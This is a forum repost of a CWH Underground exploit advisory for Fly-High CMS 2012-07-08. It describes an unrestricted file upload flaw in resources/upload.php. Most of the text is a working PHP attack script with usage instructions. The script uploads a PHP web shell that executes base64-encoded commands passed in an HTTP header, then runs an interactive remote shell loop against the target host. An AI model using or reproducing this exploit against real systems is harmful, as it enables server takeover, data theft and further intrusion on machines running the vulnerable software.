Fly-High CMS 2012-07-08 - Unrestricted File Upload Exploit

[Matt]

Author : CWH Underground

Source : Fly-High CMS 2012-07-08 - Unrestricted File Upload Exploit

Vulnerable App : http://www.exploit-db.com/wp-content/themes/exploit/applications/2247a46025f3b85ab7705b8c2d0f2215-2012-07-08_unstable.zip

Code :

<?php

/*

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'

 Exploit Title   : Fly-High CMS Unrestricted File Upload Exploit
 Date            : 15 June 2013
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://sourceforge.net/projects/flyhighcms/
 Software Link   : http://jaist.dl.sourceforge.net/project/flyhighcms/unstable/2012-07-08_unstable.zip
 Version         : 2012-07-08
 Tested on       : Window and Linux


#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################

/resources/upload.php (LINE: 30, 60-61)

-----------------------------------------------------------------------------
Line: 30 
$targetDir = "../" . $_GET['pfad'];
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
Line: 60-61
if (!file_exists($targetDir))
        @mkdir($targetDir);
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
Line: 55-57
$fileName = 'upload_' . $count . $fileName_b;

$filePath = $targetDir . DIRECTORY_SEPARATOR . $fileName;
-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.


#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");

    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+----------------------------------------------+";
print "\n| Fly-High CMS Unrestricted File Upload Exploit |";
print "\n+----------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /flyhighCMS/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];


$payload = "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";

$packet  = "POST {$path}resources/upload.php?pfad=cwh&name=1.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet1  = "GET {$path}cwh/upload_1.php HTTP/1.0\r\n";
$packet1 .= "Host: {$host}\r\n";
$packet1 .= "Cmd: %s\r\n";
$packet1 .= "Connection: close\r\n\r\n";

while(1)
{
    print "\nFlyhigh-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet1, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

Edited June 22, 2013 by Matt